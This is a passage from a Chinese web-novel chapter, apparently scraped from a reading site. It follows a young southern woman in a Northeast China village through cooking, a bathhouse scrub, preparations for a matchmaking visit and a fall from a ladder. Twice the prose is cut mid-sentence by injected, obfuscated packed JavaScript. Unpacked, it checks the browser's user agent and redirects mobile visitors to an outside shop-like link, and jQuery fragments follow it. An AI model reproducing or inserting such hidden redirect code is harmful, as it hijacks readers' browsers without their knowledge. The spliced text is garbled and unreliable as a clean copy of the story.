苏禾:“就是放了点醋和白糖,然后跟辣椒蒜末一起炒,不过在炒之前,鸡蛋要提前用油滑一下……”
李月就是随口一问罢了。
她平常不做饭,也并不想做饭,所以单纯是惊讶于她能把简单的鸡蛋炒得这么好吃而已。
毕竟在东北,“咋炒的”这句话的含金量可比“真好吃”高多了。
锅里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586444|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
油烧热后,苏禾先把碗里的蛋黄倒了进去,用锅铲碾碎小火翻炒,锅里很快就冒出了很多金色的小泡泡,就像是泡沫一样绵密,蛋黄的香味也逐渐从锅里满了出来。
这时候再把土豆丝倒进锅里,苏禾一边翻炒着一边小声地向李月问道:“姐,我们什么时候能再去澡堂子洗澡?”
李月会心一笑,逗她说:“嗯?不怕搓泥了?”
苏禾害羞地抿起唇,左右摇摇头。
说实话,今天她第一次迈进东北的澡堂子时,确实有被当时的画面给吓到。
淋浴一共只有十来个位置,倒是那两个大池子还有三张平板床,占了澡堂的大部分地方。
苏禾感觉自己进了厨房,而不是澡堂。
尤其是看到在池子里的人出来后,站在床边排队,最后躺在床上像是白条鸡一样,被旁边的人用一块糙布手套任意揉搓……
那一刻,苏禾感觉自己的人生观受到了冲击。
“别怕,躺好了。”
“别别别,我不用搓,我,我自己洗就行。”
“害羞啥?都是女的。”
“不是害羞,是我,我,呃。”
“来吧,搓两下可得劲了。”
任凭苏禾怎么拒绝,李月都没有要罢休的意思,又弱又小的她在李月跟前就像是小鸡崽一样,非但没能逃脱,反而被她一把拉住了手,趁自己不注意的时候猛地在手臂上来了那么一下。
嘶……
好!!!舒服啊~
当粗糙的布滑过手臂皮肤的一瞬间,一阵火辣辣的刺痛疼得她差点蹦起来。
只一下,苏禾白嫩的手臂就浮起了一片红,可当她看到搓澡巾上的皴时,第一反应并不是反抗,而是惊讶,还有疼痛感过后的爽快。
看向自己的手臂,刚才被搓过的地方仿佛又白了两个度,甚至皮肤也变得更细腻了。
原来自己的身上竟然这么脏吗?!
这搓澡巾未免也太神奇了吧!
“我没骗你吧?是不是很得劲?”把手里的搓澡巾抻平,李月笑着问道。
苏禾被惊得该怎么回答,只是害羞地点点头。
痛并快乐着,苏禾好像有点明白这句话是什么意思了。
说着,一旁的秦冬梅就咬开了一包醋,往自己手里搓澡巾上倒了一点后,顺带着又洒了一撮盐,“加点醋和盐能把身上搓得更干净,给你也来点?”
为了把自己身上的“陈年老垢”都擦掉,刚才还在拒绝的苏禾一下子躺得笔直,同时视死如归地对李月说:“来吧!”
十五分钟后,搓完澡的苏禾去淋浴下好好冲了个澡,又往身上打了一遍肥皂,当泡沫被水冲掉时,看着浑身渐渐褪去的粉红,她有种脱胎换骨的感觉。
原来盐和醋真的能和洗澡联系在一起。
二十年来,她真的从来没有任何一刻像现在这么干净!
“下个礼拜吧,”锅里的土豆丝刚出锅,李月就迫不及待地夹了一筷子,“下个礼拜等我放假回来,咱再去搓澡。”
“好~!”
15. 第 15 章
礼拜六早上,秦冬梅和苏禾还没从床上起来,就听到外面传来急促的敲门声。
噔噔噔!噔噔噔!!
敲门的人是王淑琴。
苏禾披了件衣裳刚去开门,王淑琴就跟到了自己家似的,急吼吼地往里屋走。
“哎呦我的姐,你咋还睡呢!”在秦冬梅的胯上不轻不重地拍了一下,王淑琴连忙催促道,“这要是到咱家看见都还搁炕上睡呢,得多让人笑幻啊?”
秦冬梅慵懒地打了个哈欠,朝外头看了一眼:“这一大早的,谁能来啊?”
“小华啊,就是跟咱东子相亲那姑娘。”
“不是说晌午十一点吗?”秦冬梅又问。
王淑琴:“那你不得提前给家拾掇拾掇?要不多让人笑幻啊。”
秦冬梅:???
这才早上六点半啊……
王淑琴是个热心肠,哪怕之前给陆东泽安排的十来次相亲全部以失败告终,她还是跟第一次做媒一样主动张罗着。
跟村里那些说闲话的人不一样,她想过是俩人八字不妥、属相相冲、性格不合,却从来没怀疑过陆东泽的身体状况和心理健康。
为了这次相亲能顺顺利利,她特地起了个大早,帮着秦冬梅把家好好收拾一番,顺便给家里的风水改改,比如把院子东头的篱笆给清了。
“知道咱东子为啥一直找对象不顺不?”
秦冬梅摇摇头。
“就是这鸡窝给克的,”说着,王淑琴就主动拿起铁锨朝最粗的那根桩子戳了下去,“多少年都不养鸡了,这鸡窝还留着干哈?鸡窝有这么多根木头桩搭着,可不就让东子打光棍了嘛!”
听着王淑琴的解释,一旁的苏禾若有所悟地点点头:好家伙,原来这就是传说中的风水啊……
不止是要拆鸡窝,为了“不让人笑幻”,秦冬梅和苏禾把家里的里里外外都仔细地收拾了一番:
垃圾桶里不能有垃圾、炕上不能放被子、床桌上的东西得摆好,哪怕柜子里的衣裳都得拿出来重新叠好、挂好。
一通忙活下来,苏禾感觉自己不是在接待陆东泽的相亲对象,而是在等着学校查卫生的老师上门家访……
“那我去接人了啊,”临走时,王淑琴又指了一下屋顶上的积雪,“记得等会给雪扫扫,省得人姑娘见了笑幻。”
“知道了知道了。”
送走王淑琴后,秦冬梅抬头看了眼屋顶上的雪,无奈地叹了一口气。
每次陆东泽相亲,她都要把家里从里到外地大扫除一番,这哪里是怕人笑幻?分明是找了个由头拉练自己来了。
“还得去找老李家借个梯子,”秦冬梅自言自语地嘀咕着,“这房檐好几个月没清了,还有这瓦,唉,估计还不好扫呢。”
说完,她就回屋拿上菜筐准备出门,“你搁家歇会吧,等会我回来了再说。”
趁着时间还早,先去早市上看看,要是去晚可就抢不到好肉好菜了。
“你去吧,我来扫雪就行。”苏禾拿起墙边的笤帚道。
“哪那么容易?你这细胳膊细腿的,万一摔一下咋整?”秦冬梅把她手里笤帚抽了出来,“你别忙活了,等我回来再说。”
“好吧。”
苏禾嘴上答应得挺好,可秦冬梅前脚刚走,后脚她就去隔壁借来了梯子,和李月李阳一起清理屋顶的积雪。
李成刚家的老梯子用了好几年,木头都有些朽了。
李阳年龄太小,又不能少了李月来扶梯子,所以由苏禾踩上去扫雪最合适。
“你别急啊,慢点来。”
在下面扶着梯子,李月嘱咐她道。
“知道啦。”
前天晚上下得的融了一半、积了一半,表面那层雪用笤帚一推就滑下去了,倒是下面那层融化后又冻厚了的冰,要用木棍敲碎了才行。
苏禾的动作很轻,生怕滑下去的雪和冰会砸到下面的李月和李阳。
“阳阳?你又在被窝里吃东西了是不?!”
正扫着雪,隔壁就传来了杨丽的一声责骂,“你个瘪犊子,我看你是一天不打就皮痒,给我过来!”
“我,我正帮我姐扫雪呢。”
“过来!”
李阳本来还想找个理由逃脱,结果杨丽只是稍稍提高了音调,他就麻利地跑回去了,生怕手脚慢一点杨丽手里的鸡毛掸子会挥得更狠。
不过苏禾很轻,李月一个人在下面扶着也够了。
大冬天的,早上的风又冷,很少会有人在这个时候清理屋顶上的雪。
离得老远,那一双冷若冰霜的眸子,就注意到了自家屋檐上正在扫雪的身影。
和村里的姑娘不一样,她的动作并不麻利,甚至还有一点笨拙,瘦弱的身材包着一层棉衣,头上还戴了一顶不太合适的毛绒帽,怎么看都让人觉得不搭调。
可偏偏就是这么多的不搭调凑在一起,却让他的瞳孔里多了几分温暖的光。
笃笃笃……
“东哥回来了。”
听到外面有摩托车的声音靠近,李月一下就猜到了来人是谁。
“啊?”
站在梯子上,苏禾只一回头,目光就稳稳地落在了那辆摩托车上。
村里的地上了冻,有些地方的冰甚至还没化,但摩托车上的陆东泽骑得却很稳当,吹了一路的风,他头上那顶雷锋帽覆了一层薄薄的霜,包在脸上的围巾也有哈气留下的白。
魁梧的身形乍一瞥,还以为是趁着雪天摸进村的熊瞎子。
很快,摩托车停在了院门口。
陆东泽的两条大长腿往两边一撑,好家伙,跟两根电线杆子杵在地上似的,瞬间就在土地上留下了两个凹下的脚印,套在外面的皮夹克似乎不太合身,身前的拉链都快被崩开了。
停好车后,陆东泽顺手摘下帽子随意地呼噜着头上的短寸,解开围巾时,露出了一截下巴和冻红的大鼻子。
车后面不知又装了一麻袋什么东西,鼓鼓囊囊的,看着挺重,可是他脱下手套后,不费吹灰之力就从车上拎了下来。
推开虚掩着的院门,看到李月在,陆东泽只是淡淡地说:“放假回来了?”
“是啊,回来休息几天。”
看到陆东泽,李月的语气明显变得更加明媚了,即使扶着梯子也不忘扭头看他,“你咋也回来了?局里的工作不忙?”
“回来跟……那个谁见一面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586445|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”把麻袋顺手放在一边,陆东泽回答时不由得顿了下。
院子里,分明爬在梯子上扫雪的苏禾最显眼,他也早早在进门之前就注意到了她,可是真的回来后,他不仅没有跟她打招呼,甚至连看都没正眼看她一眼。
倒是苏禾,虽然心里怕他怕得要命,还有上次不小心给错内衣的尴尬,可是她还是鼓起勇气,小声地叫了他一声“东哥”。
听到她怯怯的问好,陆东泽这才更加冷淡地回了一个“嗯”。
“你拿的啥?这么大一袋。”
“面粉,你秦姨平常做馄饨用得多,我就给她买了点。”
“东哥,你瞧我有啥变化没~?”
“好像是胖了点。”
“???你没发现我换发型了嘛?!”
“就那几根毛,咋换不都一样么。”
跟直男聊天真累,简直比对牛弹琴还要让人无语。
聊了好几句,李月才想起梯子上的苏禾,“哥,你见过咱妹子了吧?苏禾,南方来的。”
“嗯,见过了。”
余光不经意地扫过苏禾踩在梯子上的双脚,不小心撞见了从棉鞋里露出的一截粉红。
她的脚好小啊,34?35?好像只有自己的一拃那么大。
他赶紧把眼神挪向了别处,原本就红的鼻子似乎又加重了颜色。
“那个啥,你的户口跟咱姨是分开的,”陆东泽转移话题道,“不过还是咱齐里村的。”
“行。”
隔壁院里,杨丽正教训着李阳呢,没一会又叫李月回去。
“月?你回来一下。”
“来了。”
撤开搭在梯子上的手,离开时,李月扯了一下陆东泽的袖子,说:“小禾正扫雪呢,你先扶一下。”
陆东泽的个子很高,站在梯子旁边时,他的脸正好和苏禾的小腿齐平,哪怕目光稍稍往上面挪一点,就会看到她那件宽松的棉袄,还有……
他的脑海里,控制不住地闪过一些不该想起的物件。
可是没有人扶梯子又不行,陆东泽只好深深地吸了一口气,同时把头偏向一侧。
“东哥,你不用扶了,”把手里的笤帚丢到下面,苏禾一边说一边准备从梯子上下来,“我已经扫干净了,可……啊!!!”
梯子之间的间距并不是一样大,苏禾在急着下来的时候,脚下倏地踩空了一处,再加上手上没有及时抓紧,于是整个人就这么从梯子的空隙里掉了下来。
陆东泽反应很快,即使他的目光是看向别处的,注意力也很难从她身上扯开。
一声尖叫后,苏禾紧紧地闭上了眼。
她已经做好了要摔伤的准备,只是几秒钟后,没有想象中的疼,也没有掉在地上时的闷响,后背落在的那一堵又热又硬的墙,远要比地面柔软得多。
直到有一缕凉风吹过她的腰,苏禾这才回过魂来,一边赶紧拉下自己的棉袄,一边猛地从陆东泽的怀里逃出来。
“啊?!”
那一声尖叫,不是因为他的手臂在箍住自己的腰时,无意间带起了身上的棉袄。
而是他另一只宽厚的手掌,刚才碰到了他不该碰的地方。